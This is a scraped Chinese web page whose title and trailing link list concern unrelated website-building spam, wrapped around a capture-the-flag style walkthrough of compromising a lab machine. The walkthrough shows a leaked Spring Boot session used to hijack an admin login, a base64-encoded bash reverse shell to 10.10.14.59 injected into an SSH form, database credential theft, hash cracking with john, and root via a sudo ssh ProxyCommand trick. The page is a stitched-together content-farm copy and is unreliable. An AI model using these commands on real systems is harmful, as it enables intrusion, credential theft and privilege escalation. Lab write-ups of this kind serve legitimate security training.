当前位置: 首页 > news >正文

农村电商扶贫网站建设报名网站开发多钱

农村电商扶贫网站建设,报名网站开发多钱,网络管理软件有哪些,12306网站开发公司文章目录 信息搜集 信息搜集 nmap扫描一下#xff0c;发现存在80端口和22端口 nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230直接访问80端口发现有跳转 那么我们将ip添加到hosts里面#xff0c;成功访问 观察发现是企业网站#xff0c;扫描一下没有子域名 那么就扫… 文章目录 信息搜集 信息搜集 nmap扫描一下发现存在80端口和22端口 nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230直接访问80端口发现有跳转 那么我们将ip添加到hosts里面成功访问 观察发现是企业网站扫描一下没有子域名 那么就扫下目录这里直接用dirsearch快一点 得到信息/actuator/文件路径并且actuator是java框架spring boot的一个程序监视器 存在路径/admin直接访问会跳转到/login 我们逐一去看 /env /sessions /health /mappings 我们发现/sessions泄露了用户kanerson的session 访问/admin然后bp抓包修改session登录成功 拖到最下面存在一个使用SSH和密钥进行添加远程主机的功能 我们抓包看看发现存在rce漏洞 构造bash -i /dev/tcp/10.10.14.59/1028 01用base64编码绕过 {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4xMC4xNC41OS8xMDI4IDAJjE}|{base64,-d}|{bash,-i}然后url编码一下成功反弹shell ls一下发现有jar包我们找一下密码 我们在靶机上开启服务器 python3 -m http.server 8090然后用wget下载下来jar包 丢到idea反编译 从代码中获取到postgres用户密码和数据库名cozyhosting 我们查看下/etc/passwd可以知道postgres也是靶机用户 这里使用得到密码尝试登录到postgres用户失败了于是尝试连接数据库。发现靶机环境中存在postgresql数据库连接工具psql尝试连接数据库。 psql -U postgres -W -h localhost -d cozyhosting连接成功后我们查看下数据库 然后选择数据库cozyhosting输入密码 \c cozyhosting用\d参数查看所有的表 得到密码 然后用工具john爆破 得到密码后查看下用户发现只剩下josh为普通用户 那么我们尝试ssh连接成功得到user的flag 然后就是提权我们sudo -l看看 发现有ssh命令查下相关资料 sudo ssh -o ProxyCommand;sh 02 12 x成功提权得到root的flag
http://www.pierceye.com/news/940674/

相关文章:

  • 手把手指导做网站wordpress 熊掌号插件
  • 宁波网站建设方案报价湖州企业做网站
  • 优化 导航网站百度官网网站首页
  • 各大网站大全河北网站建设seo优化制作设计
  • 做照片的网站前端开发和后端开发
  • 谁能低价做网站支付接口泰州企业自助建站系统
  • 徐州 网站建设辽阳建设网站
  • PHP MySQL 网站开发实例单页应用网站
  • 制作网站的步骤关于企业网站建设的相关思考
  • 统计局网站建设情况ppt设计网站
  • 中石化第四建设公司 网站哪个软件可以看街道实景
  • 郑州做网站哪个平台好全国网站备案
  • 个人网站空间申请html5 网站开发 适配
  • 建站行业如何快速成第一单js制作网页游戏
  • 建立网站后怎么维护做网站自己租服务器还是网络公司
  • 建网站赚钱wordpress 公众号主题
  • 亚马逊网站建设的意义海西高端网站建设
  • 建设静态网站淘宝客怎么建设网站
  • wordpress网站外包浙江省建设厅新网站人员无法查询
  • 广州天与地网站建设石家庄快速建站公司
  • 汕头投资建设总公司网站专做PPP项目网站
  • 双语教学示范课程建设项目网站建设通网站上线
  • 电子商务网站域名注册要求南京电商设计
  • 网站左侧导航设计国内免费服务器地址
  • 怎样上网站dns解析不了图片墙网站源码
  • 东莞网站建设多少钱玩网页游戏的网站
  • 做网上竞猜网站合法吗珠海移动网站建设费用
  • 电视剧手机网站大全网页版微信二维码付款怎么弄
  • 亳州有做网站的吗一站式快速网站排名多少钱
  • 国外数码印花图案设计网站秦皇岛信息平台